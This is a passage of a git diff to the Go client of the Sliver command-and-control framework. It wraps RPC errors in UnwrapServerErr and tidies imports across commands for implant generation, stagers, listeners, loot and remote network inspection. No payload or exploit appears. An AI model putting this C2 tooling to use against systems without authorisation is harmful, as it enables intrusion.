upload.Response.Async { diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index f9b2a3901a..b5a656c334 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -12,7 +12,7 @@ import ( func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to get compiler information: %s\n", err) + con.PrintErrorf("Failed to get compiler information: %s\n", con.UnwrapServerErr(err)) return } con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH) diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index b30831c1dd..88dffe3e7f 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -108,7 +108,7 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []str <-ctrl if err != nil { - con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err) + con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", con.UnwrapServerErr(err)) return } diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index a4c1fd29d6..248b088845 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -821,7 +821,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli BuilderName: externalBuilder.Name, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil, err } con.Printf("done\n") @@ -881,7 +881,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli ImplantName: name, }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data)) @@ -923,7 +923,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCli ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil, err } @@ -948,7 +948,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCli Data: fileData, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.Printf("success!\n") fileData = resp.GetData() @@ -1000,7 +1000,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to check target compatibility: %s\n", err) + con.PrintErrorf("Failed to check target compatibility: %s\n", con.UnwrapServerErr(err)) return true } @@ -1055,7 +1055,7 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverClient) ([]*clientpb.Builder, error) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(builders.Builders) < 1 { return []*clientpb.Builder{}, ErrNoExternalBuilder diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index d7db989262..9c6e7eacee 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient // get implant builds builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - return data, err + return data, con.UnwrapServerErr(err) } implantName := buildImplantName(profile.GetConfig().GetFileName()) @@ -35,14 +35,14 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient <-ctrl if err != nil { con.PrintErrorf("Error generating implant\n") - return data, err + return data, con.UnwrapServerErr(err) } data = generated.GetFile().GetData() profile.Config.FileName = generated.File.Name _, err = con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { con.PrintErrorf("Error updating implant profile\n") - return data, err + return data, con.UnwrapServerErr(err) } } else { // Found a build, reuse that one @@ -51,7 +51,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient ImplantName: implantName, }) if err != nil { - return data, err + return data, con.UnwrapServerErr(err) } data = regenerate.GetFile().GetData() } @@ -67,7 +67,7 @@ func ArchCompleter(con *console.SliverClient) carapace.Action { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No compiler info: %s", err.Error()) + return carapace.ActionMessage("No compiler info: %s", con.UnwrapServerErr(err)) } var results []string @@ -105,7 +105,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No compiler info: %s", err.Error()) + return carapace.ActionMessage("No compiler info: %s", con.UnwrapServerErr(err)) } var results []string @@ -154,7 +154,7 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { defer cancel() trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch traffic encoders: %s", err.Error()) + return carapace.ActionMessage("failed to fetch traffic encoders: %s", con.UnwrapServerErr(err)) } results := []string{} diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index edf09a9c46..e63620a924 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -33,7 +33,7 @@ func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Name: name, }) if err != nil { - con.PrintErrorf("Failed to delete implant %s\n", err) + con.PrintErrorf("Failed to delete implant %s\n", con.UnwrapServerErr(err)) return } } diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 3f75345984..c6c7f4cd0a 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -46,7 +46,7 @@ type ImplantBuildFilter struct { func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } implantBuildFilters := ImplantBuildFilter{} @@ -133,7 +133,7 @@ func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to get implant builds: %s", err.Error()) + return carapace.ActionMessage("failed to get implant builds: %s", con.UnwrapServerErr(err)) } filters := &ImplantBuildFilter{} diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index f0f2cf229d..9d00135f48 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -56,7 +56,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s profile.Config.Name = buildImplantName(implantFile.Name) _, err = con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { - con.PrintErrorf("could not update implant profile: %v\n", err) + con.PrintErrorf("could not update implant profile: %v\n", con.UnwrapServerErr(err)) return } } else { diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index 4a481bf49c..a46d659100 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -42,7 +42,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string } resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Saved new implant profile %s\n", resp.Name) } diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index f0ab60b5b1..d7351a9cef 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -54,7 +54,7 @@ func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Name: name, }) if err != nil { - con.PrintErrorf("Failed to delete profile %s\n", err) + con.PrintErrorf("Failed to delete profile %s\n", con.UnwrapServerErr(err)) return } } diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index ec70284e64..161c623ed5 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -99,7 +99,7 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverClien func getImplantProfiles(con *console.SliverClient) []*clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } return pbProfiles.Profiles @@ -109,7 +109,7 @@ func getImplantProfiles(con *console.SliverClient) []*clientpb.ImplantProfile { func GetImplantProfileByName(name string, con *console.SliverClient) *clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } for _, profile := range pbProfiles.Profiles { @@ -430,7 +430,7 @@ func ProfileNameCompleter(con *console.SliverClient) carapace.Action { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage(fmt.Sprintf("No profiles, err: %s", err.Error())) + return carapace.ActionMessage(fmt.Sprintf("No profiles, err: %s", con.UnwrapServerErr(err))) } if len(pbProfiles.Profiles) == 0 { diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index 4cf1105a3e..fe8c8d069b 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -43,7 +43,7 @@ func RegenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) ImplantName: name, }) if err != nil { - con.PrintErrorf("Failed to regenerate implant %s\n", err) + con.PrintErrorf("Failed to regenerate implant %s\n", con.UnwrapServerErr(err)) return } if regenerate.File == nil { diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index c1ec8530d0..ca3efe5a06 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -47,7 +47,7 @@ func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []st defer cancel() encoderMap, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } DisplayTrafficEncoders(encoderMap, con) @@ -116,7 +116,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args [ <-completed close(completed) if err != nil { - con.PrintErrorf("Failed to add traffic encoder %s", err) + con.PrintErrorf("Failed to add traffic encoder %s", con.UnwrapServerErr(err)) con.Println() return } @@ -264,7 +264,7 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, arg }, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } con.Println() @@ -277,7 +277,7 @@ func SelectTrafficEncoder(con *console.SliverClient) string { defer cancel() encoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return "" } var encoderNames []string diff --git a/client/command/history/history.go b/client/command/history/history.go index a88254c28b..b67102f925 100644 --- a/client/command/history/history.go +++ b/client/command/history/history.go @@ -62,7 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { history, err := con.Rpc.GetImplantHistory(context.Background(), req) if err != nil { - return err + return con.UnwrapServerErr(err) } commands := history.GetCommands() diff --git a/client/command/hosts/hosts-ioc-rm.go b/client/command/hosts/hosts-ioc-rm.go index f009e3ee92..6624e635a6 100644 --- a/client/command/hosts/hosts-ioc-rm.go +++ b/client/command/hosts/hosts-ioc-rm.go @@ -39,7 +39,7 @@ func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } _, err = con.Rpc.HostIOCRm(context.Background(), ioc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Removed host from database\n") diff --git a/client/command/hosts/hosts-rm.go b/client/command/hosts/hosts-rm.go index 77a052f93c..24e3272c36 100644 --- a/client/command/hosts/hosts-rm.go +++ b/client/command/hosts/hosts-rm.go @@ -34,7 +34,7 @@ func HostsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } _, err = con.Rpc.HostRm(context.Background(), host) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Removed host from database\n") diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index c694bc1d61..d222d7b40a 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -48,7 +48,7 @@ var ( func HostsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if 0 < len(allHosts.Hosts) { @@ -143,7 +143,7 @@ func SessionsForHost(hostUUID string, con *console.SliverClient) []*clientpb.Ses func SelectHost(con *console.SliverClient) (*clientpb.Host, error) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } // Sort the keys because maps have a randomized order, these keys must be ordered for the selection // to work properly since we rely on the index of the user's selection to find the session in the map diff --git a/client/command/info/info.go b/client/command/info/info.go index 6910370fd4..0b1b128415 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -174,7 +174,7 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/info/ping.go b/client/command/info/ping.go index 3dd75e1652..c98c7ca75d 100644 --- a/client/command/info/ping.go +++ b/client/command/info/ping.go @@ -23,7 +23,7 @@ func PingCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Pong %d\n", pong.Nonce) } diff --git a/client/command/jobs/dns.go b/client/command/jobs/dns.go index 4cbf4e8479..bdb8c4b439 100644 --- a/client/command/jobs/dns.go +++ b/client/command/jobs/dns.go @@ -54,7 +54,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", dns.JobID) } diff --git a/client/command/jobs/http.go b/client/command/jobs/http.go index 10ea0bb6bb..1c8e013faf 100644 --- a/client/command/jobs/http.go +++ b/client/command/jobs/http.go @@ -62,7 +62,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []strin LongPollJitter: int64(longPollJitter), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", http.JobID) } diff --git a/client/command/jobs/https.go b/client/command/jobs/https.go index cbba4450a4..327eb6966b 100644 --- a/client/command/jobs/https.go +++ b/client/command/jobs/https.go @@ -79,7 +79,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []stri }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", https.JobID) } diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index 09c008b7f2..079a64bb9c 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -43,7 +43,7 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } else { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // Convert to a map @@ -97,7 +97,7 @@ func JobsIDCompleter(con *console.SliverClient) carapace.Action { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No active jobs") + return carapace.ActionMessage("Failed to get server jobs: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -120,7 +120,7 @@ func jobKill(jobID uint32, con *console.SliverClient) { ID: jobID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully killed job #%d\n", jobKill.ID) } @@ -129,7 +129,7 @@ func jobKill(jobID uint32, con *console.SliverClient) { func killAllJobs(con *console.SliverClient) { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } for _, job := range jobs.Active { diff --git a/client/command/jobs/mtls.go b/client/command/jobs/mtls.go index 4c918e2914..86d9e08b2f 100644 --- a/client/command/jobs/mtls.go +++ b/client/command/jobs/mtls.go @@ -40,7 +40,7 @@ func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []strin }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", mtls.JobID) } diff --git a/client/command/jobs/stage.go b/client/command/jobs/stage.go index bd779139cd..53d2a97170 100644 --- a/client/command/jobs/stage.go +++ b/client/command/jobs/stage.go @@ -155,7 +155,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []stri ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error starting HTTP staging listener: %s\n", err) + con.PrintErrorf("Error starting HTTP staging listener: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID()) @@ -184,7 +184,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []stri ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err) + con.PrintErrorf("Error starting HTTPS staging listener: %v\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID()) @@ -202,7 +202,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []stri ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error starting TCP staging listener: %v\n", err) + con.PrintErrorf("Error starting TCP staging listener: %v\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID()) diff --git a/client/command/jobs/wg.go b/client/command/jobs/wg.go index 1f7ae6d8cd..c743738092 100644 --- a/client/command/jobs/wg.go +++ b/client/command/jobs/wg.go @@ -41,7 +41,7 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Persistent: persistent, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", wg.JobID) } diff --git a/client/command/kill/commands.go b/client/command/kill/commands.go index 2128351edc..b27d909dc3 100644 --- a/client/command/kill/commands.go +++ b/client/command/kill/commands.go @@ -1,13 +1,12 @@ package kill import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/kill/kill.go b/client/command/kill/kill.go index 250a104e95..69eb4f7016 100644 --- a/client/command/kill/kill.go +++ b/client/command/kill/kill.go @@ -23,15 +23,14 @@ import ( "errors" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// KillCmd - Kill the active session (not to be confused with TerminateCmd) +// KillCmd - Kill the active session (not to be confused with TerminateCmd). func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() // Confirm with the user, just in case they confused kill with terminate @@ -81,7 +80,7 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli }, Force: force, }) - return err + return con.UnwrapServerErr(err) } func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverClient) error { @@ -99,5 +98,5 @@ func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.Sliver }, Force: force, }) - return err + return con.UnwrapServerErr(err) } diff --git a/client/command/loot/fetch.go b/client/command/loot/fetch.go index a3583b355b..7340f92748 100644 --- a/client/command/loot/fetch.go +++ b/client/command/loot/fetch.go @@ -34,7 +34,7 @@ func LootFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } loot, err = con.Rpc.LootContent(context.Background(), loot) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintLootFile(loot, con) diff --git a/client/command/loot/local.go b/client/command/loot/local.go index 3e693062ae..2f389262be 100644 --- a/client/command/loot/local.go +++ b/client/command/loot/local.go @@ -72,7 +72,7 @@ func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverClient, args []strin ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } con.PrintInfof("Successfully added loot to server (%s)\n", loot.ID) diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index 686e3c5847..4ac8eb519b 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -40,7 +40,7 @@ import ( func LootCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to fetch loot %s\n", err) + con.PrintErrorf("Failed to fetch loot %s\n", con.UnwrapServerErr(err)) return } PrintAllFileLootTable(allLoot, con) diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index da4ee056ab..764e8249fd 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -64,7 +64,7 @@ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con ctrl <- true <-ctrl if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if download.Response != nil && download.Response.Async { con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { @@ -114,7 +114,7 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverClient) { control <- true <-control if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } if loot.Name != loot.File.Name { diff --git a/client/command/loot/rename.go b/client/command/loot/rename.go index f664d9811e..ff2d4e45a4 100644 --- a/client/command/loot/rename.go +++ b/client/command/loot/rename.go @@ -31,7 +31,7 @@ import ( func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } oldName := loot.Name @@ -44,7 +44,7 @@ func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) Name: newName, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Renamed %s -> %s\n", oldName, loot.Name) diff --git a/client/command/loot/rm.go b/client/command/loot/rm.go index 2e89c4df90..78997a6e7d 100644 --- a/client/command/loot/rm.go +++ b/client/command/loot/rm.go @@ -28,13 +28,13 @@ import ( func LootRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } _, err = con.Rpc.LootRm(context.Background(), loot) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.Println() diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go index da7c962e0c..0f8480ab90 100644 --- a/client/command/monitor/commands.go +++ b/client/command/monitor/commands.go @@ -1,10 +1,9 @@ package monitor import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/monitor/start.go b/client/command/monitor/start.go index bafb59b16e..e18e3050b8 100644 --- a/client/command/monitor/start.go +++ b/client/command/monitor/start.go @@ -21,17 +21,16 @@ package monitor import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// MonitorStartCmd - Start monitoring threat intel for implants +// MonitorStartCmd - Start monitoring threat intel for implants. func MonitorStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if resp != nil && resp.Err != "" { diff --git a/client/command/monitor/stop.go b/client/command/monitor/stop.go index 5857750e60..fe6d8fa4fe 100644 --- a/client/command/monitor/stop.go +++ b/client/command/monitor/stop.go @@ -21,17 +21,16 @@ package monitor import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// MonitorStopCmd - Stop monitoring threat intel for implants +// MonitorStopCmd - Stop monitoring threat intel for implants. func MonitorStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { _, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Stopped monitoring threat intel platforms for implants hashes\n") diff --git a/client/command/network/commands.go b/client/command/network/commands.go index 137e5f68c5..ad31bb2042 100644 --- a/client/command/network/commands.go +++ b/client/command/network/commands.go @@ -1,13 +1,12 @@ package network import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index d72969cc5a..bc714888d1 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -25,17 +25,16 @@ import ( "strconv" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// IfconfigCmd - Display network interfaces on the remote system +// IfconfigCmd - Display network interfaces on the remote system. func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -45,7 +44,7 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } all, _ := cmd.Flags().GetBool("all") @@ -64,7 +63,7 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintIfconfig - Print the ifconfig response +// PrintIfconfig - Print the ifconfig response. func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverClient) { var err error interfaces := ifconfig.NetInterfaces diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index 452c6d672f..5c32f69cbe 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -23,17 +23,16 @@ import ( "fmt" "net" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// NetstatCmd - Display active network connections on the remote system +// NetstatCmd - Display active network connections on the remote system. func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -59,7 +58,7 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { IP6: ip6, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", 